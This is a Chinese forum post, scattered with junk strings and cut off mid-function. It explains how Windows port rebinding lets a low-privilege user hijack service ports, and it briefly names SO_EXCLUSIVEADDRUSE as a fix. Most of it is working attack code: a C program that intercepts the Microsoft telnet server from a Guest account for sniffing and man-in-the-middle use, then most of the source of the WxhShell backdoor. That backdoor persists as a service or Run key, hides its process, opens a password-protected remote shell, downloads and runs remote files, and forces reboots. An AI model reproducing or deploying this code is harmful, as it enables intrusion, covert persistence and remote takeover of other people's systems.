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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: j;Lp@~M  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;$!0pxL)s  
)i39'0a  
  saddr.sin_family = AF_INET; R. ryy  
Lrx"Hn{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); RM2feWm  
} -hH2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \sVzBHy d  
hI<$lEB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 },5LrX`L  
R 'mlKe x  
  这意味着什么?意味着可以进行如下的攻击: W^:g_  
@ *T8>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3e;K5qSeo/  
(|6!pQ7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) aeLIs SEx  
v"sU87+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 MS|1Q@S9  
s5d[sx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  tUfze9m  
odcrP\S  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8fWnKWbbjw  
pek5P4W_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kc2E4i  
K}S=f\Q]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ? zic1i  
k8.,id  
  #include OnW,R3eg  
  #include gd31ds!G  
  #include a 6fH*2E  
  #include    jI}{0LW&F&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   N~yGtnW  
  int main() # zd}xla0]  
  { *i7-_pT  
  WORD wVersionRequested; V3pn@'pr  
  DWORD ret; K,HR=5  
  WSADATA wsaData; =PBJ+"DQs  
  BOOL val; ^dhtc% W>  
  SOCKADDR_IN saddr; <l9qhqHv&  
  SOCKADDR_IN scaddr; =)6|lz^  
  int err; BxxqzN+  
  SOCKET s; t9 id^  
  SOCKET sc; {K=[Fu=  
  int caddsize; C%Op[H3  
  HANDLE mt; DGAg#jh  
  DWORD tid;   ORV'dr  
  wVersionRequested = MAKEWORD( 2, 2 ); q*>|EJR^Rw  
  err = WSAStartup( wVersionRequested, &wsaData ); A56aOI=  
  if ( err != 0 ) { P}p6{  
  printf("error!WSAStartup failed!\n"); oP<E)  
  return -1; WgV[,(  
  } +7)/SQM5  
  saddr.sin_family = AF_INET; ^yF2xJ)9-  
   <J1$s_^`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !3at(+4  
dNs<`2m  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); KI<Vvc m  
  saddr.sin_port = htons(23); BtWm ZaKi  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }xzbg  
  { ~hA;ji|I  
  printf("error!socket failed!\n"); oakm{I|k}  
  return -1; QN m.8c$  
  } \?.M1a[  
  val = TRUE; Uefw  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 o{QPW  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !}uev  
  { G Q+g.{c  
  printf("error!setsockopt failed!\n"); w.0]>/C  
  return -1; 9_S>G$9D  
  } |a Ht6F  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8|#p D4e  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !;C *Wsp}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2KmPZ&r  
9ev " BO  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) d`+cNKf  
  { MU&P+Wr  
  ret=GetLastError(); J $<g" z3  
  printf("error!bind failed!\n"); _\xd]~ELj  
  return -1; xSHeP`P^X  
  } '| |),>~  
  listen(s,2); F{aM6I  
  while(1) vV9q5Bj:  
  { YVLaO*( f  
  caddsize = sizeof(scaddr); ?_c*(2i&^  
  //接受连接请求 t[L'}ig!q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); wq&TU'O  
  if(sc!=INVALID_SOCKET) ddD $ 4+  
  { Z)zmT%t  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [HhdeLOX  
  if(mt==NULL) gobqS+c  
  { Z66@@?`  
  printf("Thread Creat Failed!\n"); wKAc ;!  
  break; \uV;UH7qe  
  } FPPGf!Eq  
  } ^Ru/7pw 5  
  CloseHandle(mt); FLekyJmw~  
  } 8.Ty ,7Z  
  closesocket(s); LA^H213N|  
  WSACleanup(); A5ps|zidI  
  return 0; &Qdd\h#  
  }   xem:#>&r  
  DWORD WINAPI ClientThread(LPVOID lpParam) bP 2IX  
  { "i1~YE  
  SOCKET ss = (SOCKET)lpParam; >m{)shBX  
  SOCKET sc;  HRKe 7#e  
  unsigned char buf[4096]; ~?{"H<  
  SOCKADDR_IN saddr; B/CP/Pfb  
  long num; ;2;Kq)j_=  
  DWORD val; ^*]0quu=z  
  DWORD ret; :bgi*pR{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 WV"{oED  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   yVM 1W"Q  
  saddr.sin_family = AF_INET; 29#;;n}p  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ewtoAru  
  saddr.sin_port = htons(23); ?9801Da#/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `jb?6;15  
  { |EaEdA@T  
  printf("error!socket failed!\n"); <vV?VV([  
  return -1; Ot]PH[+  
  }  :RW0<  
  val = 100; HJ*W3Mg  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a[GlqaQy+-  
  { n'JwT! A  
  ret = GetLastError(); U>^ -Db]  
  return -1; ukr a)>Y[|  
  } XoaBX2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f&Bu_r  
  { of ^N4  
  ret = GetLastError(); ; . c]0  
  return -1; bd2"k;H<o  
  } P$\vD^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) GIDC'  
  { eRa1eR gP  
  printf("error!socket connect failed!\n"); '7{0k{  
  closesocket(sc); !R WX1Z  
  closesocket(ss); %fpcH  
  return -1; S0~F$mP'  
  } ;%#@vXH[Oo  
  while(1) Ss&R!w9p  
  { jv]:`$}G\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 '+ |{4-V  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 65Ysg}x  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 lfKrd3KS_  
  num = recv(ss,buf,4096,0); Dg@>d0FW  
  if(num>0) 3D k W  
  send(sc,buf,num,0); \+g95|[/  
  else if(num==0) mMw&{7b:  
  break; #kV`G.EX  
  num = recv(sc,buf,4096,0); W&6P%0G/  
  if(num>0) B" wk:\zC  
  send(ss,buf,num,0); UGPD5wX?  
  else if(num==0) Tp`by 1s  
  break; ('xu2 ;<  
  } 'wX'}3_/g  
  closesocket(ss); ^=wG#!#V"1  
  closesocket(sc); ~OEP)c\k  
  return 0 ; g0^%X9s  
  } G)?O!(_  
0QDm3V0n  
"@E1^  
========================================================== W]n%$a  
ewk62 {  
下边附上一个代码,,WXhSHELL H>`?S{J  
}{S W~yW  
========================================================== Mx-,:a9}  
Xt/muV  
#include "stdafx.h" <vA^%D<\~  
hsljJvs  
#include <stdio.h> }$;T.[ ~  
#include <string.h> l9q ygh  
#include <windows.h> \sF}NBNT@  
#include <winsock2.h> c% 0h!zF  
#include <winsvc.h> jpaY:fcF  
#include <urlmon.h> 'UT 4x9&z  
!o&Mw:d  
#pragma comment (lib, "Ws2_32.lib") `yHV10  
#pragma comment (lib, "urlmon.lib") rsvZi1N4w$  
o_EXbS]C  
#define MAX_USER   100 // 最大客户端连接数 } CJQC  
#define BUF_SOCK   200 // sock buffer d"nE+pgE  
#define KEY_BUFF   255 // 输入 buffer z_< 7T4  
%"DEgI P  
#define REBOOT     0   // 重启 6lq7zi}'w  
#define SHUTDOWN   1   // 关机 zie])_8|h  
D C mNxN  
#define DEF_PORT   5000 // 监听端口 cu|#AW  
r+>E`GGQ  
#define REG_LEN     16   // 注册表键长度 KC? hsID{  
#define SVC_LEN     80   // NT服务名长度 [cru+c+O:  
=[?2'riI  
// 从dll定义API 'e\m6~u\hm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3U@ p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oWo"` "P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xue-5 '  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lb&tAl"D  
?U2ed)zzw  
// wxhshell配置信息 }jfU qqFd  
struct WSCFG { MlsF?"H p  
  int ws_port;         // 监听端口 9 YU7R)  
  char ws_passstr[REG_LEN]; // 口令 7 4aap2^  
  int ws_autoins;       // 安装标记, 1=yes 0=no $[[6N0}*:  
  char ws_regname[REG_LEN]; // 注册表键名 or ~o'  
  char ws_svcname[REG_LEN]; // 服务名 B.K"1o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 VE6T&fz`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 us4.-L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X c,UR .  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^Q4w<sX'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C_PXh>H]'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $ah, $B  
1?)<*[  
}; I1&Z@[  
m^O:k"+!  
// default Wxhshell configuration McxJ C<  
struct WSCFG wscfg={DEF_PORT, hn.9j"  
    "xuhuanlingzhe", AzN.vA)q  
    1, \%E Zg  
    "Wxhshell", bu%@1:l  
    "Wxhshell", )Bl% {C  
            "WxhShell Service", (Y'rEc#H&z  
    "Wrsky Windows CmdShell Service", zV4%F"-  
    "Please Input Your Password: ", [t<^WmgtxL  
  1, #'^p-Jdm  
  "http://www.wrsky.com/wxhshell.exe", IL}pVa00{n  
  "Wxhshell.exe" /,/T{V[  
    }; A`=ESz  
27E6S)zv  
// 消息定义模块 +fAAkO*GP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; . %tc7`k8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ).N}x^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TpZ) wC  
char *msg_ws_ext="\n\rExit."; |>A1J:  
char *msg_ws_end="\n\rQuit."; u$&7fmZ  
char *msg_ws_boot="\n\rReboot..."; s:R>uGYOd  
char *msg_ws_poff="\n\rShutdown..."; :I F&W=?9  
char *msg_ws_down="\n\rSave to "; 1 xiq]~H  
 t\{q,4  
char *msg_ws_err="\n\rErr!"; A! <R?  
char *msg_ws_ok="\n\rOK!"; *A GC[w}/  
/zuU  
char ExeFile[MAX_PATH]; '7wI 2D  
int nUser = 0; L,waQk / @  
HANDLE handles[MAX_USER]; "a5?cX;  
int OsIsNt; 7u!R 'D  
(bH"x  
SERVICE_STATUS       serviceStatus; j"_V+)SD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; . ~G>vVb  
Zj~tUCc  
// 函数声明 T {(6*^g<B  
int Install(void); ?O\n!c  
int Uninstall(void); 6VQ*z8wLw  
int DownloadFile(char *sURL, SOCKET wsh); RE oFP;H~  
int Boot(int flag); F]z xx  
void HideProc(void); -G;4['p  
int GetOsVer(void); 6O$OM  
int Wxhshell(SOCKET wsl); )`-9WCd&  
void TalkWithClient(void *cs); A7+eWg{  
int CmdShell(SOCKET sock); [ #A!B#`  
int StartFromService(void); 6N~~:Gt  
int StartWxhshell(LPSTR lpCmdLine); yXppu[=  
x nWapG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /qo.Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /_x?PiL  
<R*.T)Z1  
// 数据结构和表定义 ~Rk6@&ZS}  
SERVICE_TABLE_ENTRY DispatchTable[] = HHWB_QaL  
{ #?!)-Q%  
{wscfg.ws_svcname, NTServiceMain}, n|SsV  
{NULL, NULL} \P}~ICZA  
}; vsqfvx  
"]*0)h_  
// 自我安装 ( y2%G=.j  
int Install(void) `"zX<  
{ XdLB1H  
  char svExeFile[MAX_PATH]; aMZ6C <N  
  HKEY key; F{]dq/{  
  strcpy(svExeFile,ExeFile); #2_phm'  
/ta-jOcRH&  
// 如果是win9x系统,修改注册表设为自启动 Q++lgVh)E  
if(!OsIsNt) { FFR_1Vf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K$ #(\-M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -g;iMqh#  
  RegCloseKey(key); RQ9fA1YP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JT[|l-\zo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '<>pz<c  
  RegCloseKey(key); ,U],Wu)  
  return 0; 9d#-;qV  
    } HR\yJt  
  } < I8hy$+6  
} E:&=A 4 %  
else { .FqbX5\p,  
iW-w?!>|m  
// 如果是NT以上系统,安装为系统服务 2[r#y1ro  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k U*\Fa*E  
if (schSCManager!=0) 1W$@ V!  
{ @,i:fY  
  SC_HANDLE schService = CreateService MHI0>QsI  
  ( mAk)9`f/  
  schSCManager, >e=tem~/  
  wscfg.ws_svcname, 6Nj\N oS  
  wscfg.ws_svcdisp, 6n  
  SERVICE_ALL_ACCESS, y''`73U"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p8%x@%k  
  SERVICE_AUTO_START, ::9U5E;!  
  SERVICE_ERROR_NORMAL, +QtK "5M  
  svExeFile, ojT TYR{  
  NULL, `L]cJ0tAs  
  NULL, rzLpVpTaz  
  NULL, Cbx/  
  NULL, *S:^3{.m=  
  NULL \[B5j0vV,  
  ); &P&M6v+  
  if (schService!=0) -PB m@}*  
  { HB||'gIC  
  CloseServiceHandle(schService); \P^WUWY  
  CloseServiceHandle(schSCManager); eqZ V/a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #=OKY@z/  
  strcat(svExeFile,wscfg.ws_svcname); :nC Gqg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xl5mI~n_~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |@sUN:G4k  
  RegCloseKey(key); CS:j->  
  return 0; L'H'E,  
    } 52C>f6w  
  } `rbTB3?  
  CloseServiceHandle(schSCManager); C6M|A3^T  
} crz )F"  
} VI74{='=  
:JV= Kt  
return 1; *q=pv8&*s  
} |k^'}n  
#[qmhU{s  
// 自我卸载 *_!nil3(i  
int Uninstall(void) pTprU)sa7  
{ ltwX-   
  HKEY key; aiF7\^aw$  
-ce N}Cb3  
if(!OsIsNt) { .Quu_S_ vH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i,8h B(M!  
  RegDeleteValue(key,wscfg.ws_regname); ;8'hvc3i$  
  RegCloseKey(key); B~D{p t3y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /[q6"R!uMz  
  RegDeleteValue(key,wscfg.ws_regname); z{]$WVs:^  
  RegCloseKey(key); CJ8XKy  
  return 0; #@w8wCj  
  } +j1s*}8  
} iyB02\d  
} x{*g^f  
else { kl?U 2A.=  
re2M!m6k5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); COH0aNp;  
if (schSCManager!=0) A0m  
{ :"5i/Cx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n!2"pRIi  
  if (schService!=0) AME3hA  
  { )^qM%k8  
  if(DeleteService(schService)!=0) { yAy~|1}  
  CloseServiceHandle(schService); xdFm-_\-  
  CloseServiceHandle(schSCManager); -y5^xR  
  return 0; Ur6UE2   
  } }%c2u/PQ  
  CloseServiceHandle(schService); zflq|dW  
  } TD'RvTpl  
  CloseServiceHandle(schSCManager); ai)S:2  
} f*,jhJ_I  
} tSaLR90Y6  
5z~rl}`v  
return 1; Iojyku\W.  
} IDQ@h`"B  
x{6KsYEY  
// 从指定url下载文件 ,)TtI~6Q  
int DownloadFile(char *sURL, SOCKET wsh) qsOA(+ZP  
{ JR8 b[Oj.S  
  HRESULT hr; c@wSv2o$  
char seps[]= "/"; .vE=527g)  
char *token; ^I4'7]n-  
char *file; # ` Q3Z}C  
char myURL[MAX_PATH]; ;IZ*o<_  
char myFILE[MAX_PATH]; VgD z:j  
,m;S-Im_Xr  
strcpy(myURL,sURL); Jr$,w7tQn@  
  token=strtok(myURL,seps); ELfcZfJ  
  while(token!=NULL) tJ>%Xop  
  { N: ?UA  
    file=token; GvSSi'q~B  
  token=strtok(NULL,seps); <o@&I " o  
  } 4y\qJw)~U  
W/!M eTU&E  
GetCurrentDirectory(MAX_PATH,myFILE); R4"*<%1  
strcat(myFILE, "\\"); @}eEV[Lli  
strcat(myFILE, file); +;^Ux W  
  send(wsh,myFILE,strlen(myFILE),0); xP#vAR  
send(wsh,"...",3,0); m5m}RWZ#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B>Tfyo  
  if(hr==S_OK) UF0W%Z  
return 0; O=~8+sa  
else ZKy)F-yX  
return 1; s~ ||Vv!  
nr7#}pzo  
} Yv<' QC  
]L+YnZ?6  
// 系统电源模块 PP)iw@9j  
int Boot(int flag) QK%Nt  
{ 5$f vI#NO<  
  HANDLE hToken; Uc%n{ a-a  
  TOKEN_PRIVILEGES tkp;  ,5!&}  
+`tl<r g;  
  if(OsIsNt) { zx` %)r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %J(y2 }  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f++MH]I;  
    tkp.PrivilegeCount = 1; p)6!GdT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R= ,jqW<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z6s-n$dSm  
if(flag==REBOOT) { w0qrh\3du  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KZy2c6XO;  
  return 0; ~puXZCatN  
} b3R1L|@  
else { I><B6pIR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G"k.sRKu  
  return 0; ha[c<e]uo[  
} e_RLKFv7  
  } DrI"YX  
  else { nhV\<  
if(flag==REBOOT) { #&zM.O1Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Yc~(W ue  
  return 0; 21NGsG  
} .#^ta9^t7  
else { ?tzJ7PJ~B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) be?>C 5  
  return 0; LLyw9y1  
} %+ln_lgD:  
} ot\  FZ  
;f;A"  
return 1; F1_s%&  
} w O H{L  
0s9-`nHen|  
// win9x进程隐藏模块 jfmHc(fX4  
void HideProc(void) =MR.*m{  
{ I=aoP}_  
6/-]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *vy^=Yea  
  if ( hKernel != NULL ) Ov$>CA  
  { |Gp!#D0b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L`'#}#O l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OBb m?`[  
    FreeLibrary(hKernel); OlU')0Y  
  } ->Z9j(JU  
1Vf?Rw  
return; v C23  
} HQp\0NC]  
F}1h  
// 获取操作系统版本 7 bV(eV  
int GetOsVer(void) k1lo{jw`  
{ 5Zf^cou  
  OSVERSIONINFO winfo; B":9C'tip  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 26M:D&|ZB  
  GetVersionEx(&winfo); aE|'%72g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) TxJoN]Z.  
  return 1; m^k$Z0  
  else V}3'0  
  return 0; tIK`/)w,  
} _+!@c6k)ra  
@},|i*H/  
// 客户端句柄模块 R*[X. H  
int Wxhshell(SOCKET wsl) H1GmC`\<[:  
{ [T |P|\M  
  SOCKET wsh; N5PW]  
  struct sockaddr_in client; -L-#-dK'  
  DWORD myID; 2[Ofa(mkkp  
2xLEB&  
  while(nUser<MAX_USER) 3Pu8IXW  
{ `~w|Xz  
  int nSize=sizeof(client); =Bg $OX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Fqt,VED  
  if(wsh==INVALID_SOCKET) return 1; jJY{np  
w"`Zf7a{/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z8Iqgz7|y  
if(handles[nUser]==0) v)p'0F#6A  
  closesocket(wsh); !dQmg'_V  
else nxWm  
  nUser++; @4t_cxmD  
  } =K)[3mX X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {EfA#{x  
QdIx@[+WOq  
  return 0; _sb~eB~<(  
} i:a*6b.U@N  
-Oi8]Xw^@y  
// 关闭 socket @T"-%L8PL  
void CloseIt(SOCKET wsh) [psZc'q  
{ dhX$b!DA  
closesocket(wsh); S j ly]  
nUser--; [vGkr" =  
ExitThread(0); O~Jm<  
} u^O!5 'D%  
&4O2uEW0  
// 客户端请求句柄 YpOcLxFL  
void TalkWithClient(void *cs) 5cvvdO*C0  
{ H#S`m  
|(%=zb=?X  
  SOCKET wsh=(SOCKET)cs; tk)J E^'  
  char pwd[SVC_LEN]; nTtE+~u  
  char cmd[KEY_BUFF]; yk0tA  
char chr[1]; pG6?"*Fz;  
int i,j; |oWl9j]Z  
>'lvZt  
  while (nUser < MAX_USER) { xfF;u9$;  
tj? %{L  
if(wscfg.ws_passstr) { r|63T%q!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HA J[Y3d<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )3 I~6ar  
  //ZeroMemory(pwd,KEY_BUFF); O#<F"e;$  
      i=0; A`--*$8\  
  while(i<SVC_LEN) { +CVB[r#hu  
M }! qH.W  
  // 设置超时 n^q%_60H   
  fd_set FdRead; |KR8=-!7  
  struct timeval TimeOut; lak,lDt]  
  FD_ZERO(&FdRead); %[4u #G`  
  FD_SET(wsh,&FdRead);  >akC  
  TimeOut.tv_sec=8; ur:8`+" (  
  TimeOut.tv_usec=0; NXk~o!D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F pT$D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )Q 5 x%  
dWx@<(`OC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VA>0Y  
  pwd=chr[0]; p,V%wGM  
  if(chr[0]==0xd || chr[0]==0xa) { y| 0!sNg  
  pwd=0; x5Ue"RMl+  
  break; q@G}Hjn  
  } bv;. 6C(T<  
  i++; v.- r %j{I  
    } D^QL.Du,  
K'}I?H~P_  
  // 如果是非法用户,关闭 socket .kU}x3m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U(PW$\l  
} oTRid G  
A0>r]<y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i&1rf|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C B`7KK  
[8<0Q_?,  
while(1) { Qgf\"s  
'6kD6o_p1  
  ZeroMemory(cmd,KEY_BUFF); Rt5,/Q0  
oiIl\#C  
      // 自动支持客户端 telnet标准   VJ8'T"^Hf  
  j=0; ny%$BQM=  
  while(j<KEY_BUFF) { (j~T7og  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !PA><F  
  cmd[j]=chr[0]; '`YZJ  
  if(chr[0]==0xa || chr[0]==0xd) { ]WzeJ"r {3  
  cmd[j]=0; ^9`|QF  
  break; joDqv,iW8  
  } diNAT`|?#  
  j++; .p]r S =#  
    } Dpwqg3,  
#K`0b$  
  // 下载文件 fLpWTkr0  
  if(strstr(cmd,"http://")) { r7sA;Y\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q_Br{ `c  
  if(DownloadFile(cmd,wsh)) M KX+'p\w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LzJ`@0RrX  
  else s q;!5qK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S[gACEZ =  
  } ie11syhV"  
  else { Y]_$+Si:NK  
1{5t.  
    switch(cmd[0]) { ) "?eug}D  
  d&+0JI<  
  // 帮助 UdVf/ PGx  
  case '?': { [!>9K}z,=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n!.=05OtX  
    break; Yo1]HG(kXB  
  } d/T&J=  
  // 安装 (/0dtJ  
  case 'i': { W"*2,R[}%  
    if(Install())  H2oxD$s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !-N!Bt8;  
    else b\KbF/ T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FrUqfTi+W  
    break; /\_n5XI1  
    } m[(_fOd  
  // 卸载 6:L2oW 6}{  
  case 'r': { :<s`)  
    if(Uninstall()) ok [_Z;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yf;TIh%)=  
    else ]v0Z[l>yf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _g fmo  
    break; [Y$ TVwFwX  
    } TqL+^:cq  
  // 显示 wxhshell 所在路径 NM^uP+uS  
  case 'p': { wx[m-\  
    char svExeFile[MAX_PATH]; ~#4FL<W  
    strcpy(svExeFile,"\n\r"); 8MI8~  
      strcat(svExeFile,ExeFile); Mo<q(_ZeRP  
        send(wsh,svExeFile,strlen(svExeFile),0); c_CVZR?  
    break; g~b$WV%  
    } @ZjO#%Ep/  
  // 重启 Z:<an+v|5  
  case 'b': { -)B_o#2=2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?G,gPb  
    if(Boot(REBOOT)) .j&#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qclq^|O0  
    else { Y8^ WuN$  
    closesocket(wsh); j#2E Q  
    ExitThread(0); Rj H68=n  
    } dWQB1Y*N  
    break; !V(r p80  
    } s*_fRf:  
  // 关机 1og+(m`BL  
  case 'd': { wPm  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |`Noj+T47I  
    if(Boot(SHUTDOWN)) (hdu+^Qj=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SASLeGaV  
